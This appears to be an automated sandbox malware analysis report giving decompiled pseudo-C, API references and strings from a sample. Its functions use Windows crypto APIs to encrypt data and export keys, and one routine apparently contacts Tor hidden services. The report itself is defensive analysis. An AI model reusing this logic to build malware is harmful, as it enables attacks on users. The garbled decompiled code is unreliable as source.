0x7ff61d78432e
0x7ff61d784331
0x7ff61d78433c
0x7ff61d784344
0x7ff61d78434b
0x7ff61d784351
0x7ff61d784357
0x7ff61d78437d

APIs

recv.WS2_32 ref: 00007FF61D784331
WSAGetLastError.WS2_32 ref: 00007FF61D784351

Strings

tcp_socket::read_impl recv error: %i, xrefs: 00007FF61D78435A

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: ErrorLastrecv
String ID: tcp_socket::read_impl recv error: %i
API String ID: 2514157807-4185223013
Opcode ID: 07014b737d3f776e2f2df875af120e6aa36a584b508dbfe556d7034676576359
Instruction ID: 7fe65b36c4cb2d48255a644ef3c030afdb3bc8eb7abf38ba33e64c9783bf281a
Opcode Fuzzy Hash: 07014b737d3f776e2f2df875af120e6aa36a584b508dbfe556d7034676576359
Instruction Fuzzy Hash: 40F0AF22A08E4B81EB148B25FA805782361EF55FF8B406331CA2E97AE4FF2CD4498300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78BCD8 Relevance: 3.1, APIs: 2, Instructions: 53
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00007FF67FF61D78BCD8(void* __eflags, long long __rbx, void* __rcx, long long __rdx, long long __rsi, intOrPtr* __r8, void* _a8, void* _a24, char _a32, char _a40) {
				intOrPtr _v24;
				intOrPtr _v40;
				long long _v48;
				long long _v56;
				void* _t41;
				intOrPtr* _t48;
				void* _t60;
				void* _t66;
				void* _t72;

				_t41 = _t66;
				 *((intOrPtr*)(_t41 + 0x20)) = r9d;
				 *((long long*)(_t41 + 0x10)) = __rdx;
				 *((long long*)(_t41 - 0x10)) = 0xfffffffe;
				 *((long long*)(_t41 + 8)) = __rbx;
				 *((long long*)(_t41 + 0x18)) = __rsi;
				_t48 = __r8;
				 *(_t41 - 0x18) =  *(_t41 - 0x18) & 0x00000000;
				E00007FF67FF61D7825F4(_t41, __rdx, _t60);
				_v24 = 1;
				_t72 =  <  ?  *((intOrPtr*)(_t48 + 8)) -  *_t48 :  *((intOrPtr*)(__rdx + 0x10)) -  *((intOrPtr*)(__rdx + 8));
				_t57 =  *_t48;
				memmove(??, ??, ??);
				_a32 =  *((intOrPtr*)(_t48 + 8)) -  *_t48;
				_v40 = 0x80;
				_v48 =  &_a32;
				_v56 =  *((intOrPtr*)(__rdx + 8));
				_t19 = _t57 + 0x40; // 0x40
				r9d = _t19;
				_t20 = _t57 + 1; // 0x1
				r8d = _t20;
				__imp__CryptEncrypt(); // executed
				_a40 = 0;
				E00007FF67FF61D782458(_t48, __rdx,  *_t48, __rdx,  &_a40);
				return E00007FF67FF61D7817B4( *((intOrPtr*)(__rdx + 0x10)) -  *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)(__rdx + 0x10)) -  *((intOrPtr*)(__rdx + 8)));
			}

0x7ff61d78bcd8
0x7ff61d78bcdb
0x7ff61d78bcdf
0x7ff61d78bce8
0x7ff61d78bcf0
0x7ff61d78bcf4
0x7ff61d78bcf8
0x7ff61d78bd01
0x7ff61d78bd0d
0x7ff61d78bd12
0x7ff61d78bd2f
0x7ff61d78bd33
0x7ff61d78bd36
0x7ff61d78bd40
0x7ff61d78bd44
0x7ff61d78bd51
0x7ff61d78bd5a
0x7ff61d78bd61
0x7ff61d78bd61
0x7ff61d78bd65
0x7ff61d78bd65
0x7ff61d78bd6d
0x7ff61d78bd73
0x7ff61d78bd8a
0x7ff61d78bdb1

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,00007FF61D78B961), ref: 00007FF61D78BD36
CryptEncrypt.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF61D78B961), ref: 00007FF61D78BD6D

Part of subcall function 00007FF61D782458: memset.MSVCRT ref: 00007FF61D7824B6

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptEncryptmemmovememset
String ID:
API String ID: 3182014635-0
Opcode ID: 8b187b3d8960efb48a330478edba3929e3ee44001cb1934b7f24f53719e0ef06
Instruction ID: fcb9727af5b7e4f577e0fd9bfd851d4faa9a49e8147c0c66d4c853f19408a723
Opcode Fuzzy Hash: 8b187b3d8960efb48a330478edba3929e3ee44001cb1934b7f24f53719e0ef06
Instruction Fuzzy Hash: EE211672614B8187E724CB2AE44425EB7A1F384FA4F148225DBAD47BA9CF38E5498B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78BC04 Relevance: 3.0, APIs: 2, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptDecodeObject.CRYPT32 ref: 00007FF61D78BC8D
CryptImportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF61D78B932), ref: 00007FF61D78BCBC

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: Crypt$DecodeImportObject
String ID:
API String ID: 150989800-0
Opcode ID: 3a78829afa546986bb7b9cb6916a900e1c17a8d41eb1b797815543f6bd763724
Instruction ID: 4688d15aca01b203a3869d3cd9bd95f49c325d0cb4b9efef6e4432d0c1f985d9
Opcode Fuzzy Hash: 3a78829afa546986bb7b9cb6916a900e1c17a8d41eb1b797815543f6bd763724
Instruction Fuzzy Hash: 58214D32A14B4086E7108F28F84895D77A4F758BA4F644335DBAC53BA4DF3AD596C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78BFE4 Relevance: 3.0, APIs: 2, Instructions: 30encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF61D78C021
CryptDestroyKey.ADVAPI32 ref: 00007FF61D78C039

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: 748ff5f2f3578ef2ad5768bc79337eaa6cd1f981198a4256956074e3145e430c
Instruction ID: 25dbeb2929983aebf5c6acd1411137334e26f96a499efd6c2f0ae02a745cc6c6
Opcode Fuzzy Hash: 748ff5f2f3578ef2ad5768bc79337eaa6cd1f981198a4256956074e3145e430c
Instruction Fuzzy Hash: E0012432611F8081EB048F14E544328B374FB84FB4F588225CBA94B794CF78E8AAC340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78C444 Relevance: 1.6, APIs: 1, Instructions: 57
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00007FF67FF61D78C444(long long __rbx, void* __rcx, long long __rdx, void* __rsi) {
				void* _t30;
				void* _t32;
				void* _t35;
				long long _t36;
				long long _t38;
				long long _t39;
				long long _t40;
				long long _t45;
				void* _t58;
				void* _t61;
				void* _t62;

				_t57 = __rsi;
				_t35 = _t61;
				 *((long long*)(_t35 + 0x10)) = __rdx;
				_t62 = _t61 - 0x550;
				 *((long long*)(_t62 + 0x50)) = 0xfffffffe;
				 *((long long*)(_t35 + 8)) = __rbx;
				_t45 = __rdx;
				 *(_t62 + 0x30) =  *(_t62 + 0x30) & 0x00000000;
				_t36 = __rcx + 0x120;
				 *((long long*)(_t62 + 0x20)) = _t36;
				 *((long long*)(_t62 + 0x28)) = _t36 - 0xffffff80;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x60], xmm0");
				_t38 = __rcx + 0x20;
				 *((long long*)(_t62 + 0x20)) = _t38;
				_t39 = _t38 - 0xffffff80;
				 *((long long*)(_t62 + 0x28)) = _t39;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm0");
				asm("inc ecx");
				asm("movdqu [esp+0x40], xmm1");
				E00007FF67FF61D78C594(_t32, __rdx, _t35 - 0x458 + 0x110, _t62 + 0x40, _t62 + 0x20, _t62 + 0x60); // executed
				E00007FF67FF61D78C700(_t45, _t39, _t62 + 0x70, __rsi, _t62 + 0x60);
				_t40 = _t39 + 0x20;
				 *((long long*)(_t62 + 0x20)) = _t40;
				 *((long long*)(_t62 + 0x28)) = _t40 - 0xffffff80;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x40], xmm0");
				_t30 = E00007FF67FF61D78480C(_t40 - 0xffffff80, _t45, _t62 + 0x40);
				 *(_t62 + 0x30) = 1;
				 *((long long*)(_t62 + 0x70)) = 0x1d793c70;
				if ( *(_t62 + 0x78) == 0) goto 0x1d78c534;
				__imp__CryptDestroyKey();
				 *(_t62 + 0x78) =  *(_t62 + 0x78) & 0x00000000;
				return E00007FF67FF61D78BFE4(_t30, _t45, _t35 - 0x458 + 0x110, _t57, _t58);
			}

0x7ff61d78c444
0x7ff61d78c444
0x7ff61d78c447
0x7ff61d78c453
0x7ff61d78c45a
0x7ff61d78c463
0x7ff61d78c467
0x7ff61d78c46a
0x7ff61d78c46f
0x7ff61d78c476
0x7ff61d78c47f
0x7ff61d78c484
0x7ff61d78c489
0x7ff61d78c48f
0x7ff61d78c493
0x7ff61d78c498
0x7ff61d78c49c
0x7ff61d78c4a1
0x7ff61d78c4a6
0x7ff61d78c4ac
0x7ff61d78c4b0
0x7ff61d78c4cc
0x7ff61d78c4da
0x7ff61d78c4e0
0x7ff61d78c4e4
0x7ff61d78c4ed
0x7ff61d78c4f2
0x7ff61d78c4f7
0x7ff61d78c505
0x7ff61d78c50a
0x7ff61d78c519
0x7ff61d78c526
0x7ff61d78c528
0x7ff61d78c52e
0x7ff61d78c553

APIs

Part of subcall function 00007FF61D78C594: memset.MSVCRT ref: 00007FF61D78C615
Part of subcall function 00007FF61D78C594: memset.MSVCRT ref: 00007FF61D78C6A4

Part of subcall function 00007FF61D78C700: memset.MSVCRT ref: 00007FF61D78C74E
Part of subcall function 00007FF61D78C700: CryptExportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF61D78CCB9), ref: 00007FF61D78C780

CryptDestroyKey.ADVAPI32 ref: 00007FF61D78C528

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memset$Crypt$DestroyExport
String ID:
API String ID: 1943157444-0
Opcode ID: 34439447e7ed9aaf217eb8659071740a6bc77333d5a09995d100cf482677fc64
Instruction ID: f84156e3f2fc6dce4a88d35abff72cfa72dc12712ec159a18e342247c33348c2
Opcode Fuzzy Hash: 34439447e7ed9aaf217eb8659071740a6bc77333d5a09995d100cf482677fc64
Instruction Fuzzy Hash: 93312F32519F8586DA208F28E4413AAB3A0F789778F545325E7EC46BD8EF3CD249CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D789354 Relevance: 33.6, APIs: 4, Strings: 15, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E00007FF67FF61D789354(long long __rbx, void* __rcx, signed int __rdx, long long __rdi, long long __rsi, void* __r9, void* __r10) {
				void* __rbp;
				void* _t110;
				void* _t116;
				void* _t118;
				void* _t126;
				void* _t127;
				void* _t133;
				void* _t135;
				void* _t147;
				signed int _t149;
				intOrPtr* _t183;
				void* _t185;
				intOrPtr _t189;
				long long _t191;
				signed long long _t193;
				void* _t199;
				intOrPtr* _t208;
				intOrPtr _t211;
				signed long long _t270;
				signed long long _t279;
				void* _t285;
				intOrPtr* _t287;
				void* _t288;
				void* _t289;
				long long _t302;
				long long _t304;
				long long _t306;
				signed long long _t315;
				signed int _t318;
				intOrPtr _t320;

				_t206 = __rbx;
				_t185 = _t288;
				_t287 = _t185 - 0x178;
				_t289 = _t288 - 0x250;
				 *((long long*)(_t287 + 0x10)) = 0xfffffffe;
				 *((long long*)(_t185 + 8)) = __rbx;
				 *((long long*)(_t185 + 0x10)) = __rsi;
				 *((long long*)(_t185 + 0x18)) = __rdi;
				_t318 = __rdx;
				_t285 = __rcx;
				 *((intOrPtr*)(_t289 + 0x40)) = 0;
				_t211 =  *((intOrPtr*)(__rcx + 0x60));
				if (__rdx -  *((intOrPtr*)(__rcx + 0x68)) - _t211 >> 3 >= 0) goto 0x1d7897ec;
				_t320 =  *((intOrPtr*)(_t211 + __rdx * 8));
				_t189 =  *((intOrPtr*)(__rcx + 8));
				__imp__#12();
				E00007FF67FF61D781BA8(_t189, _t287 + 0x90);
				 *((intOrPtr*)(_t289 + 0x40)) = 1;
				_t191 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 8)) + 8)) + 0x40));
				_t21 = _t318 + 1; // 0x1
				r9d = _t21;
				 *(_t289 + 0x30) =  *( *((intOrPtr*)(_t189 + 8)) + 0x5c) & 0x0000ffff;
				 *(_t289 + 0x28) =  *((intOrPtr*)(_t189 + 8));
				 *((long long*)(_t289 + 0x20)) = _t191;
				_t110 = E00007FF67FF61D781720(1, 1, 0x1d79d010, "\tCreating circuit for hidden service (try #%u), connecting to \'%s\' (%s:%u)\n", __r9);
				 *((intOrPtr*)(_t289 + 0x40)) = 1;
				E00007FF67FF61D781BDC(_t110, _t287 + 0x90);
				E00007FF67FF61D781720(1, 0, 0x1d79d010, "\tConnected...\n", __r9);
				E00007FF67FF61D78A54C( *((intOrPtr*)( *((intOrPtr*)(_t189 + 8)) + 0x58)), 0,  *((intOrPtr*)(_t285 + 8)), _t289 + 0x48, _t285); // executed
				if ( *((long long*)(_t289 + 0x48)) != 0) goto 0x1d78946c;
				if ( *((intOrPtr*)(_t289 + 0x48)) == 0) goto 0x1d789467;
				E00007FF67FF61D784FDC( *((intOrPtr*)(_t289 + 0x48)), _t289 + 0x48);
				goto 0x1d789798;
				_t149 =  *(_t320 + 0x5c) & 0x0000ffff;
				__imp__#12();
				E00007FF67FF61D781BA8(_t191, _t287 + 0xb0);
				 *((intOrPtr*)(_t289 + 0x40)) = 1;
				 *(_t289 + 0x28) = _t149;
				 *((long long*)(_t289 + 0x20)) =  *((intOrPtr*)(_t191 + 8));
				_t309 =  *((intOrPtr*)(_t320 + 0x40));
				_t116 = E00007FF67FF61D781720(1, 2, 0x1d79d010, "\tExtending circuit for hidden service, connecting to responsible directory \'%s\' (%s:%u)\n",  *((intOrPtr*)(_t320 + 0x40)));
				 *((intOrPtr*)(_t289 + 0x40)) = 1;
				E00007FF67FF61D781BDC(_t116, _t287 + 0xb0);
				_t118 = E00007FF67FF61D785284( *((intOrPtr*)(_t320 + 0x58)), 0, __rbx,  *((intOrPtr*)(_t289 + 0x48)), _t320); // executed
				if (_t118 != 0) goto 0x1d789507;
				E00007FF67FF61D781720(2, 0, 0x1d79d010, "\tError while extending the directory circuit\n",  *((intOrPtr*)(_t320 + 0x40)));
				if ( *((intOrPtr*)(_t289 + 0x48)) == 0) goto 0x1d789502;
				E00007FF67FF61D784FDC( *((intOrPtr*)(_t289 + 0x48)), _t320);
				goto 0x1d789798;
				E00007FF67FF61D781720(1, 0,  *((intOrPtr*)(_t289 + 0x48)), "\tExtended...\n",  *((intOrPtr*)(_t320 + 0x40)));
				E00007FF67FF61D784E68(_t206,  *((intOrPtr*)(_t289 + 0x48)), _t289 + 0x58, _t285,  *((intOrPtr*)(_t320 + 0x40))); // executed
				if ( *((long long*)(_t289 + 0x58)) != 0) goto 0x1d78956c;
				E00007FF67FF61D781720(2, 0, 0x1d79d010, "\tError while establishing the directory stream\n",  *((intOrPtr*)(_t320 + 0x40)));
				E00007FF67FF61D786AF4(_t289 + 0x58);
				if ( *((intOrPtr*)(_t289 + 0x48)) == 0) goto 0x1d789567;
				E00007FF67FF61D784FDC( *((intOrPtr*)(_t289 + 0x48)), _t289 + 0x58);
				goto 0x1d789798;
				r8b = _t149 & 0xffffff00 | _t318 - 0x00000003 >= 0x00000000;
				_t126 = E00007FF67FF61D789268(2, _t206, _t285, _t287 + 0xf0, __rdi, _t285);
				 *((long long*)(_t287 - 0x60)) =  *((intOrPtr*)(_t191 + 8));
				 *((long long*)(_t287 - 0x58)) =  *((intOrPtr*)(_t191 + 0x10));
				asm("movaps xmm0, [ebp-0x60]");
				asm("movdqa [ebp+0x20], xmm0");
				_t127 = E00007FF67FF61D78293C(_t126,  *((intOrPtr*)(_t320 + 0x58)), _t287 + 0xd0, _t287 + 0x20, _t309, __r10);
				 *((long long*)(_t287 - 0x50)) = "/tor/rendezvous2/%s";
				 *((long long*)(_t287 - 0x48)) = 0x1d794c03;
				asm("movaps xmm0, [ebp-0x50]");
				asm("movdqa [ebp+0x30], xmm0");
				_t270 = _t287 + 0x30;
				E00007FF67FF61D781BDC(E00007FF67FF61D781DEC(_t127,  *((intOrPtr*)(_t289 + 0x48)), _t287 - 0x10, _t270,  *((intOrPtr*)( *((intOrPtr*)(_t191 + 8)) + 8)), _t309), _t287 + 0xd0);
				free(??);
				E00007FF67FF61D781720(0, 0, 0x1d79d010, "hidden_service::fetch_hidden_service_descriptor() [path: %s]\n",  *((intOrPtr*)(_t287 - 8)));
				E00007FF67FF61D781720(1, 0, 0x1d79d010, "\tSending request for hidden service descriptor...\n",  *((intOrPtr*)(_t287 - 8)));
				_t302 =  *((intOrPtr*)(_t287 - 8));
				_t193 =  *_t287 - _t302 - 1;
				asm("dec eax");
				 *((long long*)(_t287 - 0x40)) = _t302;
				 *((long long*)(_t287 - 0x38)) = (_t270 & _t193) + _t302;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp+0x40], xmm0");
				__imp__#12();
				E00007FF67FF61D781BA8(_t193, _t287 + 0x110);
				 *((intOrPtr*)(_t289 + 0x40)) = 8;
				_t304 =  *((intOrPtr*)(_t193 + 8));
				asm("dec eax");
				 *((long long*)(_t287 - 0x30)) = _t304;
				 *((long long*)(_t287 - 0x28)) = ( *((intOrPtr*)(_t193 + 0x10)) - _t304 - 0x00000001 & _t193) + _t304;
				asm("movaps xmm0, [ebp-0x30]");
				asm("movdqa [ebp+0x50], xmm0");
				 *((long long*)(_t289 + 0x20)) =  *((intOrPtr*)(_t289 + 0x58));
				_t133 = E00007FF67FF61D7837A4(1,  *((intOrPtr*)(_t289 + 0x48)), _t193,  *((intOrPtr*)(_t289 + 0x58)), _t287 - 0x80, _t287 + 0x50, _t285, _t287 + 0x40); // executed
				 *((intOrPtr*)(_t289 + 0x40)) = 0;
				E00007FF67FF61D781BDC(_t133, _t287 + 0x110);
				_t135 = E00007FF67FF61D781720(1, 0, 0x1d79d010, "\tHidden service descriptor received...\n", _t287 + 0x40);
				_t306 =  *((intOrPtr*)(_t287 - 0x78));
				_t279 =  *((intOrPtr*)(_t287 - 0x70)) - _t306;
				asm("dec eax");
				if ((_t279 - 0x00000001 &  ~_t279) == 0) goto 0x1d789754;
				 *((long long*)(_t287 - 0x20)) = "404 Not found";
				 *((long long*)(_t287 - 0x18)) = 0x1d794cb5;
				asm("dec eax");
				_t199 = (0x1d794cb5 & _t279 - 0x00000001) + _t306;
				 *((long long*)(_t289 + 0x70)) = _t306;
				 *((long long*)(_t289 + 0x78)) = 0x1d794cb5;
				asm("movaps xmm0, [esp+0x70]");
				asm("movdqa [ebp+0x70], xmm0");
				asm("movaps xmm1, [ebp-0x20]");
				asm("movdqa [ebp+0x60], xmm1");
				r8d = 0;
				E00007FF67FF61D7817E4(_t135, _t279 - 0x00000001 &  ~_t279, _t199,  *((intOrPtr*)(_t289 + 0x58)), _t287 + 0x70, _t287 + 0x60, _t285, _t287, _t306);
				if (_t199 == (_t315 | 0xffffffff)) goto 0x1d789810;
				E00007FF67FF61D781BDC(E00007FF67FF61D781BDC(E00007FF67FF61D781720(2, 0, 0x1d79d010, "\tHidden service descriptor is invalid...\n", _t279 - 1), _t287 - 0x80), _t287 - 0x10);
				E00007FF67FF61D786AF4(_t289 + 0x58);
				if ( *((intOrPtr*)(_t289 + 0x48)) == 0) goto 0x1d789798; // executed
				E00007FF67FF61D784FDC( *((intOrPtr*)(_t289 + 0x48)), _t287 + 0x60); // executed
				_t208 =  *((intOrPtr*)(_t289 + 0x50));
				_t183 = _t208;
				if (_t183 == 0) goto 0x1d7897d1;
				asm("lock xadd [ebx+0x8], eax");
				if (_t183 != 0) goto 0x1d7897cd;
				 *((intOrPtr*)( *_t208))();
				asm("lock xadd [ebx+0xc], eax");
				if (_t183 != 0) goto 0x1d7897cd;
				_t147 =  *((intOrPtr*)( *_t208 + 8))();
				if (_t318 + 1 -  *((intOrPtr*)(_t285 + 0x68)) -  *((intOrPtr*)(_t285 + 0x60)) >> 3 < 0) goto 0x1d7893b1;
				return _t147;
			}

0x7ff61d789354
0x7ff61d789354
0x7ff61d789360
0x7ff61d789367
0x7ff61d78936e
0x7ff61d789376
0x7ff61d78937a
0x7ff61d78937e
0x7ff61d789382
0x7ff61d789385
0x7ff61d78938a
0x7ff61d78938e
0x7ff61d7893a4
0x7ff61d7893b1
0x7ff61d7893b5
0x7ff61d7893c4
0x7ff61d7893d7
0x7ff61d7893df
0x7ff61d7893ef
0x7ff61d7893f3
0x7ff61d7893f3
0x7ff61d7893f7
0x7ff61d7893fb
0x7ff61d789400
0x7ff61d789414
0x7ff61d78941c
0x7ff61d789427
0x7ff61d78943b
0x7ff61d789449
0x7ff61d789455
0x7ff61d78945f
0x7ff61d789461
0x7ff61d789467
0x7ff61d78946c
0x7ff61d789475
0x7ff61d789488
0x7ff61d789490
0x7ff61d789498
0x7ff61d78949c
0x7ff61d7894a1
0x7ff61d7894b4
0x7ff61d7894bc
0x7ff61d7894c7
0x7ff61d7894d4
0x7ff61d7894de
0x7ff61d7894ec
0x7ff61d7894fa
0x7ff61d7894fc
0x7ff61d789502
0x7ff61d789513
0x7ff61d789529
0x7ff61d789535
0x7ff61d789546
0x7ff61d789551
0x7ff61d78955f
0x7ff61d789561
0x7ff61d789567
0x7ff61d78956c
0x7ff61d789579
0x7ff61d789587
0x7ff61d78958b
0x7ff61d78958f
0x7ff61d789593
0x7ff61d7895a3
0x7ff61d7895b0
0x7ff61d7895bb
0x7ff61d7895bf
0x7ff61d7895c3
0x7ff61d7895cc
0x7ff61d7895e1
0x7ff61d7895ee
0x7ff61d789604
0x7ff61d789618
0x7ff61d789626
0x7ff61d78962d
0x7ff61d789634
0x7ff61d78963d
0x7ff61d789641
0x7ff61d789645
0x7ff61d789649
0x7ff61d789652
0x7ff61d789665
0x7ff61d78966d
0x7ff61d789671
0x7ff61d789683
0x7ff61d78968c
0x7ff61d789690
0x7ff61d789694
0x7ff61d789698
0x7ff61d78969d
0x7ff61d7896ae
0x7ff61d7896b7
0x7ff61d7896c2
0x7ff61d7896d6
0x7ff61d7896df
0x7ff61d7896e3
0x7ff61d7896f4
0x7ff61d7896fa
0x7ff61d789703
0x7ff61d78970e
0x7ff61d789715
0x7ff61d78971b
0x7ff61d78971e
0x7ff61d789723
0x7ff61d789728
0x7ff61d78972d
0x7ff61d789732
0x7ff61d789736
0x7ff61d78973b
0x7ff61d789746
0x7ff61d78974e
0x7ff61d789777
0x7ff61d789782
0x7ff61d789790
0x7ff61d789792
0x7ff61d789798
0x7ff61d78979d
0x7ff61d7897a0
0x7ff61d7897a5
0x7ff61d7897ad
0x7ff61d7897b5
0x7ff61d7897ba
0x7ff61d7897c2
0x7ff61d7897ca
0x7ff61d7897e6
0x7ff61d78980f

APIs

inet_ntoa.WS2_32 ref: 00007FF61D7893C4

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

free.MSVCRT ref: 00007FF61D7895EE
inet_ntoa.WS2_32 ref: 00007FF61D789652
inet_ntoa.WS2_32 ref: 00007FF61D789475

Part of subcall function 00007FF61D784FDC: free.MSVCRT ref: 00007FF61D785022

Strings

Error while establishing the directory stream, xrefs: 00007FF61D789537
hidden_service::fetch_hidden_service_descriptor() [path: %s], xrefs: 00007FF61D7895F8
404 Not found, xrefs: 00007FF61D7896FC
Sending request for hidden service descriptor..., xrefs: 00007FF61D789609
Hidden service descriptor is valid..., xrefs: 00007FF61D789810
Connected..., xrefs: 00007FF61D78942C
gfffffff, xrefs: 00007FF61D7898CC
Extending circuit for hidden service, connecting to responsible directory '%s' (%s:%u), xrefs: 00007FF61D7894A5
Hidden service descriptor received..., xrefs: 00007FF61D7896C7
Hidden service descriptor contains no introduction points..., xrefs: 00007FF61D7898E9
Error while extending the directory circuit, xrefs: 00007FF61D7894E0
Hidden service descriptor is invalid..., xrefs: 00007FF61D789754
Extended..., xrefs: 00007FF61D789507
/tor/rendezvous2/%s, xrefs: 00007FF61D7895A9
Creating circuit for hidden service (try #%u), connecting to '%s' (%s:%u), xrefs: 00007FF61D789405

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freeinet_ntoa$CurrentLocalThreadTime_cwprintf_s_l
String ID: Connected...$Creating circuit for hidden service (try #%u), connecting to '%s' (%s:%u)$Error while establishing the directory stream$Error while extending the directory circuit$Extended...$Extending circuit for hidden service, connecting to responsible directory '%s' (%s:%u)$Hidden service descriptor contains no introduction points...$Hidden service descriptor is invalid...$Hidden service descriptor is valid...$Hidden service descriptor received...$Sending request for hidden service descriptor...$/tor/rendezvous2/%s$404 Not found$gfffffff$hidden_service::fetch_hidden_service_descriptor() [path: %s]
API String ID: 1332336199-2986099802
Opcode ID: b1a66172aedb19d482de1dc469af487b417825592ad48d363d86e87f5f2dd859
Instruction ID: 925ae70f21d52aad25dc96f3d5870ec17533884ca8af90223db64f2f1f66dfb7
Opcode Fuzzy Hash: b1a66172aedb19d482de1dc469af487b417825592ad48d363d86e87f5f2dd859
Instruction Fuzzy Hash: 49023C66A09F8186EB14DF65E8402ED6360FB85FA8F504236DE4D97BA5EF3CE549C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D781160 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcmp.MSVCRT ref: 00007FF61D7811CD
memcmp.MSVCRT ref: 00007FF61D7811FB
memcmp.MSVCRT ref: 00007FF61D78122D
memcmp.MSVCRT ref: 00007FF61D781260
